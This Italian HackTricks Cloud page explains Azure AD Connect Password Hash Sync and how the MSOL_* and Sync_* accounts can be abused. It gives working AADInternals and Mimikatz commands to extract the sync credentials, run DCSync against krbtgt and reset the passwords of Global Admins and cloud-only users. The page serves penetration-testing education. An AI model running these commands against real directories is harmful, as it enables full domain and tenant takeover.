Az - PHS - Password Hash Sync
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
Dal documento: La sincronizzazione dell'hash della password è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. Azure AD Connect sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud.
.png)
È il metodo più comune utilizzato dalle aziende per sincronizzare un AD on-prem con Azure AD.
Tutti gli utenti e un hash degli hash delle password vengono sincronizzati dall'on-prem a Azure AD. Tuttavia, le password in chiaro o gli hash originali non vengono inviati a Azure AD.
Inoltre, i gruppi di sicurezza integrati (come gli amministratori di dominio...) non vengono sincronizzati con Azure AD.
La sincronizzazione degli hash avviene ogni 2 minuti. Tuttavia, per impostazione predefinita, la scadenza della password e la scadenza dell'account non vengono sincronizzate in Azure AD. Quindi, un utente la cui password on-prem è scaduta (non cambiata) può continuare ad accedere alle risorse Azure utilizzando la vecchia password.
Quando un utente on-prem vuole accedere a una risorsa Azure, l'autenticazione avviene su Azure AD.
PHS è necessario per funzionalità come Identity Protection e AAD Domain Services.
Pivoting
Quando PHS è configurato, alcuni account privilegiati vengono automaticamente creati:
- L'account
MSOL_<installationID>
viene automaticamente creato in AD on-prem. Questo account riceve un ruolo di Directory Synchronization Accounts (vedi documentazione) che significa che ha permessi di replicazione (DCSync) nell'AD on-prem. - Un account
Sync_<nome del server ADConnect on-prem>_installationID
viene creato in Azure AD. Questo account può reimpostare la password di QUALSIASI utente (sincronizzato o solo cloud) in Azure AD.
Le password dei due precedenti account privilegiati sono memorizzate in un server SQL sul server dove Azure AD Connect è installato. Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.
Il database si trova in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
.
È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
La configurazione criptata è criptata con DPAPI e contiene le password degli utenti MSOL_*
in AD on-prem e la password di Sync_* in AzureAD. Pertanto, compromettendo questi è possibile ottenere privilegi elevati nell'AD e in AzureAD.
Puoi trovare una panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento.
Trovare il server Azure AD connect
Se il server dove è installato Azure AD connect è unito al dominio (raccomandato nella documentazione), è possibile trovarlo con:
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
Abusare di MSOL_*
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
caution
Puoi anche usare adconnectdump per ottenere queste credenziali.
Abusare di Sync_*
Compromettendo l'account Sync_*
è possibile reimpostare la password di qualsiasi utente (inclusi gli Amministratori Globali)
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
È anche possibile modificare le password solo degli utenti cloud (anche se ciò è inaspettato)
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
È anche possibile estrarre la password di questo utente.
caution
Un'altra opzione sarebbe assegnare permessi privilegiati a un service principal, che l'utente Sync ha permessi per fare, e poi accedere a quel service principal come modo di privesc.
Seamless SSO
È possibile utilizzare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Controllalo in:
Riferimenti
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.